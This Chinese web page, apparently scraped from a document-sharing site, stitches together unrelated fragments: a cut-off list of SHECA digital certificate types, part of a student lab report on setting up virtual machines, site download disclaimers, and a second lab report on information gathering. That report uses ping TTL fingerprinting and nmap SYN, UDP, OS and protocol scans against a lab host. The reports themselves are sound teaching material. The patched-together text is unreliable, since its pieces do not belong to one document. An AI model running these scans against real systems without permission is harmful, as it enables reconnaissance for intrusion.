1.2单位证书（单位身份证书、单位Email证书、单位部门证书、单位职位证书、单位代码签名证书）1.21单位身份证书用于标志单位身份证书持有人在进行信息交换、电子签名、电子政务、电子商务等网络活动中的身份，颁发给企事业单位、政府部门、社会团体等各类组织机构。
证书可存放在硬盘、USB Key、IC卡等各类介质中。
1.22单位Email证书用于标志单位Email证书持有人电子邮件（Email）的身份。
证书持有人可以在电子邮件中对信件内容进行加密和签名操作1.23申请部门证书根据各个单位的不同需要，对于颁发给某个部门使用并用来证明该部门身份的数字证书。
1.24申请职位证书包含证书持有者的职位的基本信息、公钥及SHECA的签名，用来标识网络通讯中证书持有者的身份，可以存储在硬盘、USB Key、IC 卡等各类介质中1.25申请单位代码签名证书以单位身份申请，用于对软件代码进行签名，以有效防止其软件代码被篡改，拥有者身份被冒用等。
下载经过代码签名的软件时，可以确保软件的来源和完整性。
1.3其它证书（Web服务器证书、应用服务器证书、VPN网关证书、VPN客户端证书）1.31申请Web服务器证书和网站的IP地址、域名绑定，可以保证网站的真实性和不被人仿冒，通过在用户端浏览器和Web服务器之间建立SSL安全通道，保证用户在网络通讯中的安全性。
计算机网络安全实验报告doc
计算机网络安全实验报告篇一：计算机网络安全试验报告重庆交通大学实验报告班级：学号：姓名：实验所属课程：实验室(中心)：指导教师：实验完成时间：通信专业09级2 班 09950218 帅丹网络信息安全软件实验室王勇XX 年 6月 14 日试验一.虚拟机的安装与配置一、实验目的1.了解基本的虚拟机知识2.学会安装虚拟机，包含vmware和Oracle VM VirtualBox3.熟练在虚拟机上运行软件4.实现虚拟机与主机之间的文件共享5.搭建试验需要的环境平台二、实验主要内容及原理试验内容：1.安装vmware和Oracle VM VirtualBox2.在Oracle VM VirtualBox安装 xp 和bt53.在vmware上安装winXX4.学会虚拟机上安装系统的导入和导出5.在xp上安装增强功能，实现文件（磁盘）的共享6.实现虚拟机和主机单独上网，可以互相ping通试验原理：虚拟机（Virtual Machine）指通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的完整计算机系统。
虚拟机是使用特殊的软硬件技术，把一台运行在因特网上的服务器主机分成一台台“虚拟”的主机，因此可以在虚拟机上运行任何程序，可以使信任的也可以是不信任的，无论怎么样都不会影响主机。
三、实验过程简述1.在电脑上安装Oracle VM VirtualBox虚拟机2.在Oracle VM VirtualBox中安装xp，先新建一个虚拟电脑在分配空间等，基本都是next既可以；再点击按钮，也基本上是next，然后再到首次运行向导，选择所需要安装的磁盘位置，再next完成安装。
3.选择共享文件，安装增强功能4.在Oracle VM VirtualBox安装bt5，其过程基本上和安装xp一样5.安装vmware虚拟机，在上面安装winXX6.虚拟机安装完成之后，下次做实验时可以继续使用，节约时间，而不用再安装了。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
《计算机网络安全》实验报告 实验名称：信息搜集
年级： 2014级
专业：网络工程
班级：一班
姓名：张帅
学号： 1425131032
成绩：
指导教师：卢正添
提交报告时间： 2017年 5月 21 日
一、实验目的
1、了解信息搜集的一般步骤
2、学会熟练使用ping命令
3、学会利用Nmap等工具进行信息搜集
二、系统环境
Windows、Linux
三、网络环境
交换网络结构
四、实验步骤与实验结果
一．信息搜集
1. ping探测
主机A开启命令行，对主机B进行ping探测，根据主机B的回复，可以确定主机A 和主机B之间的连通情况，还可以根据回复数据包的TTL值对操作系统进行猜测。
回复数据包的TTL值：64 ，主机B操作系统可能为：Linux 。
2. Nmap扫描
（1）对活动主机进行端口扫描
主机A使用Nmap工具对主机B进行TCP端口同步扫描（范围1-150）：
Nmap命令nmap –sS 172.16.0.60 –p 1-150 ；
主机B开放的TCP端口21 22 23 25 80 88 139 。
对主机B进行UDP端口扫描（范围是110-140）：Nmap命令nmap –sU 172.16.0.60 –p 110-140 ；主机B开放的UDP端口111 123 137 138 。
（2）对活动主机操作系统进行探测
主机A对主机B进行TCP/IP指纹特征扫描：Nmap命令nmap –O 172.16.0.60
（3）对活动主机运行服务进行探测
主机A单击平台工具栏“协议分析器”按钮，启动协议分析器进行数据包捕获。
打开IE在地址栏中输入http://主机B的IP，访问主机B的web服务，停止协议分析器，查看捕获结果。
图1-1-1可做为参考。
图1-1-1 HTTP会话分析
由图1-1-1可判断目标主机web服务使用的软件类型是Apache/2.2.0(Fedora) 。
请探测目标主机FTP服务使用的软件类型是vsftp。
（4）对活动主机IP协议进行探测
主机A使用Nmap命令对主机B进行IP协议探测：Namp命令nmap –sO 172.16.0.60；
查看扫描结果
3. 探测总结
根据上述实验所得结果，填写表1-1-1。
表1-1-1 探测结果
五、思考问题与答案
137/UDP端口提供的是什么服务？Linux系统是否提供此服务？
137端口提供netbios-ns服务，主要在局域网中提供计算机的名字或ip地址查询。
Linux系统也可使用该服务只要安装了对应的软件包。